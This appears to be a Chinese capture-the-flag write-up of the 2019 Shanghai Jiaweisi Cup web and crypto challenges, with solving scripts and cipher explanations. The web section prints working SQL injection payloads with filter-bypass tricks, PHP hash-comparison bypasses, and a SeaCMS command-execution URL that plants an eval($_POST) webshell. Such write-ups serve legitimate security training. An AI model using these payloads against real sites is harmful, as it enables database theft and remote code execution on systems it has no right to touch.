2019上海嘉韦思杯web&crypto

time: 2019-04-11 21:02
分类:ctf

image.png

文章首发于先知社区:2019上海嘉韦思杯web&crypto
这次的比赛没来的及做,看了几道web就没做,难度一般,不过听说服务器很不稳定过程很坎坷,应该算是新生赛,有很多赛题之前做过类似的。服务器第二天就关闭了,时间很短暂,结束后尽快的做了一波。

WEB

web1

题目地址:47.103.43.235:81/quest/web/a/index.php
image.png

根据题目是道注入题,and 1=1可正常回显,应该就是一道普通的字符注入题
image.png

有4列,可以构造1’ union select 1,2,3,4# 也可以1’ union select 1,2,3,'4,但–+注释测试不行。
然后可以依次注出库表和值
image.png

payload: 1’ union select user(),version(),database(),4#
可看到数据库及版本号还有用户
因为根据以往做题经验,数据库里必有一个flag表,所以就不注了,猜了一下,直接出来了
flag-payload: 1’ union select 1,2,flag,4 from flag#

image.png

web2

题目地址:47.103.43.235:82/web/a/index.php
image.png

这题做过一道类似的,因为限制2秒内,所以要用脚本直接跑出来
正则学的实在不好,用了bs4

import requests
import re
from bs4 import BeautifulSoup
url='http://47.103.43.235:82/web/a/index.php'
s=requests.session()
r=s.get(url)

tbl_bf = BeautifulSoup(r.text,'html.parser')
tbl=tbl_bf.find_all('p')
t = re.sub('<p>|</p>',"",str(tbl[1]))
d = {
    "result": eval(str(t))
}
r = s.post(url, data=d)
print(t)
print(r.text)

image.png

web3 (47.103.43.235:85/a)

题目地址: 47.103.43.235:81/quest/web/a/index.php
image.png

就一个界面什么也没有,看了下源代码
image.png

看到关键代码

if ((string)$_POST['paraml']!==(string)$_POST['param2']&&md5($_POST['paraml'])===md5($_POST['param2']))

很熟悉的一道题,这题考的就是md5碰撞,强类型的话MD5就不能用数组绕过了,这题要求就是需要两个字符串值不同的MD5值相同的字符串。
这里用到了一个工具fastcoll_v1.0.0.5
先创建1.txt 和 2.txt
然后用fastcoll_v1.0.0.5 -i 1.txt 2.txt -o 3.txt 4.txt这条命令就可产生两个md5值相同的文件了。
post上传时要对字符串进行url编码。
工具连接:https://pan.baidu.com/s/1_bDnTy8_jMXGzpzJvl1g0A

不过网上也有现成的字符串,这里我直接找的现成的。
payload:

param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

image.png

web4

题目地址:47.103.43.235:82/web/b/index.php
image.png

根据题目要输入账号密码,但不知道
查看源代码
image.png
有提示,下载下来phps文件

<?php
error_reporting(0);
$flag = '********';
if (isset($_POST['name']) and isset($_POST['password'])){
	if ($_POST['name'] == $_POST['password'])
		print 'name and password must be diffirent';
	else if (sha1($_POST['name']) === sha1($_POST['password']))
		die($flag);
	else print 'invalid password';
}
?>

分析代码逻辑,发现GET了两个字段name和password,获得flag要求的条件是:name != password & sha1(name) == sha1(password),可以利用sha1()函数的漏洞来绕过。如果把这两个字段构造为数组,如:?name[]=a&password[]=b,这样在第一处判断时两数组确实是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,将报错并返回false,if 条件成立,获得flag。

##web5
题目地址:47.103.43.235:85/b/第一题_js?.txt
image.png
打开后一堆加密内容,看起来像base64,
image.png

base64解密后是jsfuck,放控制台出flag。

web6

题目地址:47.103.43.235:83/web/a/index.php?id=QM
打开后可以看出这应该是一道sql注入题,不过看id
=QM可知很像逆序的base64,它应该是参数经base64后传进去的,QM也就是1.
image.png
然后试下Mg
也就是id=2
image.png
果然可以,然后试下id=2-1,也是要经过base64然后逆序传入
image.png
发现可以,存在注入。
image.png
这里输入了id=select,可以看到报错引号内容为空,被过滤掉的都为空,经fuzz会发现and,select,空格等都被过滤掉了,这里通过报错注入可以注出,可以双写绕过,空格可以通过/**/取代。
image.png

0/**/anandd/**/1=extractvalue(1,concat(0x7e,(selselectect/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())))#

本来想试这个报错呢,等号也被过滤了

payload: 0/**/anandd/**/extractvalue(1,concat(0x7e,(seleselectct/**/concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)))#

base64逆序后

jkSKpEDLw8iKq8Cdp1Was9iKq8SKoU2chJWY0FGZvoiKvU2apx2LqoyLh1WZoN2cfVGbiFGdvoiKvUmclh2dvoiKvMXZsJWY05SYtVGajN3Xu9Wa0FWbyJ3bvZmbp9iKq8SbvJnZvoiKvkSZtFmbfVGbiFGdoQXYj52bj9iKq8CdjR3YlxWZzVGblNHKsU2N4BDK0F2Yu92YsEDKlVHbhZHdjFmc0hXZvoiKvQGZuFmbh9iKq8CM

这里写了个base倒序的脚本

#!/usr/bin/python3
#encoding:utf-8
import base64
str_encrypt=input("输入要加密的字符串:\n"); 
base64_encrypt = base64.b64encode(str_encrypt.encode('utf-8'))
print("BASE64加密串:"+str(base64_encrypt,'utf-8'),end=' ')
print("\n")
A = ''
for i in str(base64_encrypt):
    A = i + A
print("base倒序字符串:"+A)

image.png

根据这种可以爆出数据库最终爆出flag。

web7

这题是利用的seacms的框架,百度可以搜到该cms的很多历史漏洞
image.png

payload:
http://47.103.43.235:84/search.php?searchtype=5&tid=&area=eval($_POST[muma])

这里利用了该cms存在的一处命令执行漏洞。通过命令执行getshell。
image.png

crypto

crypto1

题目地址:47.103.43.235:82/crypto/a/index.php

image.png

这题打开是一个base64加密,解密后还是base64,发现这是个base64嵌套,一直解下去
最终
image.png

应该是对字符串的移位,各种测试一番发现是栅栏密码
image.png

crypto2

题目地址:47.103.43.235:82/crypto/b/index.php

image.png

这个也是对字符串的移位,根据ascii值进行移位,
image.png

因为格式为flag,所以前四位应该为flag,b到f隔4位,g到l隔5位,一次类推就能得到flag。
写个py跑也行

i=4
m = "bg[`sZ*Zg'dPfP`VM_SXVd"
for n in  m:
	n =  chr(ord(n) + i)
	print(n,end='')
	i=i+1

image.png

crypto3

题目地址:47.103.43.235:82/crypto/c/index.php
这题考的是希尔密码
加密矩阵: [[1,2,3], [4,5,6], [7,8,10]]
密文:xkmyqczdjajf
希尔密码是运用基本矩阵论原理的替换密码。每个字母当作26进制数字:A=0,B=1…一串字母当成n维向量,跟一个n×n的矩阵相乘,再将得出的结果MOD 26。注意用作加密的矩阵(即密钥)必须是可逆的,否则就不可能译码。只有矩阵的行列式和26互质,才是可逆的。
希尔密码需要线代学的好,我线代,,就不提了,这题没写出脚本,太菜,手算可还行。想了解的可以自行百度了解
解密过程大致为:
例如:设分组长度n=2,密钥为:K={7,9;8,3} 密文:pqcfku
(1)将密文分为两两一组:pq,cf,ku

(2)将密文字母转换为对应的编码:(15,16),(2,5),(10,20)

(3)分别计算每一组密文对应的明文编码(K-1位K的逆矩阵)

     (15,16)*K-1 mod 26 =(5,17)

     (2,5) *K -1mod 26=(8,3)

     (10,20) *K-1 mod 26=(0,24)

(4)将明文编码转换为明文字母,完成解密。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

BerL1n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值